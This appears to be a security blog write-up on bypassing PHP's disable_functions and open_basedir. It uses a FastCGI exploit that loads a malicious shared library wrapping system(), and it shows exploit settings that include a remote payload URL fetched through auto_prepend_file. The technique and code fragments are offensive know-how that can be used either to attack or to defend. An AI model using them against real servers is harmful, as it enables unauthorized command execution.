Let’s render unto Caesar the things that are Caesar’s, the exploit FuckFastCGI is not mine and is a brilliant one, bypassing open_basedir and disable_functions by the means of external malicious library loading.
While open_basedir can be modified at runtime and turned into open_basedir = /, it is not the same regarding disable_functions. The latter can only be set in the main php.ini and cannot be overriden by a local configuration or programmatically through ini_set or ini_alter.
To bypass this measure, the exploit sets two other configuration values: extension and extension_dir. By loading an external library which itself calls the C system function, disabled PHP functions are no more a protection.
The C code is as follows (the word TSRMLS_CC is commented to make it work with PHP >= 8.0. Uncomment if older):
This program creates a routine named hello_world which is nothing more than a wrapper for system, and makes it available to PHP, as soon as the extension is loaded.
In the original exploit, the following values had to be set:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
// your extension directory path $ext_dir_path = '/var/www/app/ext/';
// your extension name $ext_name = 'hello.so';
// unix socket path or tcp host $connect_path = 'unix:///var/run/php/php7.2-fpm.sock';
// tcp connection port (unix socket: -1) $port = -1;
// Don't use this exploit file itself $filepath = '/var/www/app/index.php';
// your php payload location $prepend_file_path = 'http://kaibro.tw/gginin2';
The principle was to add a dummy index.php somewhere on the disk, and to use the directive auto_prepend_file to prepend the true payload, which was in turn calling hello_world. Problem: executing a different shell command requires a new payload file (in the example, it is a remote payload on a different host. It is made possible thanks to a modification of allow_url_include).
Actually, tweaking a little bit the exploit and adapting it based on the code from here, and we can reduce it to only one PHP and one SO file. Also, the socket path should be updated according to the type of listener:
1 2 3
$client = newFCGIClient("127.0.0.1:9000", -1); // or custom ip:port //or $client = newFCGIClient("unix:///var/run/php/php-fpm.sock", -1); //should be a symlink to the real socket file
The last part of the script changes, to avoid the need to modify the payload and to repush a file on the disk:
Instead of loading an external payload, the latter is passed as a stream (php://input). The GET argument containing the command is forwarded, and passed to hello_world.
As shown below, the command id can be executed, although the routines are still marked as disabled.
Keep it simple, stupid
Well, there is even easier … We could simply modify the configuration file related to the MTA, and replace it with our own command: